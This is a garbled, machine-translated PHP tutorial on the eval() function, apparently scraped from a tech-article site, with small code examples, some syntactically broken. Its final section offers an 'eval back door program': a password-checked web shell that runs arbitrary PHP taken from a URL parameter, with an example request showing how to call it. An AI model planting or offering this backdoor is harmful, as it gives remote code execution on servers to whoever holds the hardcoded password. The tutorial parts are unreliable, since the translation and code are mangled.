Code:
Copy the Code code as follows:
Eval ("Echo ' Hello World ';");
The upper code is equivalent to the following code:
echo "Hello World";
Output in the browser: Hello World
Use eval () to note several points:
1.eval function arguments must have a semicolon at the end of the string, plus a semicolon at the end (this semicolon is a PHP limit)
2. Note the use of single quotes, double quotes and backslashes. If there is a variable in the argument, and the variable has an assignment operation, the $ symbol before the variable must have a \ to escape. If no assignment operation can be required.
Code:
Copy the Code code as follows:
$a = 100;
Eval ("echo$a;");
Because there is no assignment operation, you can escape $ without \. Equivalent to the following code:
Copy the Code code as follows:
$a = 100;
Eval ("echo\ $a;")
3. Note that there must be double quotation marks on either side of the command string (including semicolons) or single quotes as needed. Otherwise the error.
An imperative string is when you include commands such as Echo and print in a string.
If the argument has only one variable, you can use it. For example:
Copy the Code code as follows:
$func =<<<>
function Test () {
echo "Test eval function";
}
FUNC;
eval ($func);
Test ();
Share a PHP eval back door program
Requires that the Eval function be supported
How to use
Http://url/test.php?pwd=admin&action=eval&a=phpinfo ();
Copy the Code code as follows:
$passwd = "admin"; if ($_get[' pwd ']!= $passwd) exit;
if ($_get[' action ']== "eval" && $_get[' a ']) {eval ($_get[' a ']);}
?>
http://www.bkjia.com/PHPjc/621693.html www.bkjia.com true http://www.bkjia.com/PHPjc/621693.html techarticle Code: Copy the Code as follows: eval ("Echo ' Hello World ';"); the upper code is equivalent to the following code: echo "Hello World"; output in the browser: Hello World use eval () to pay attention to ...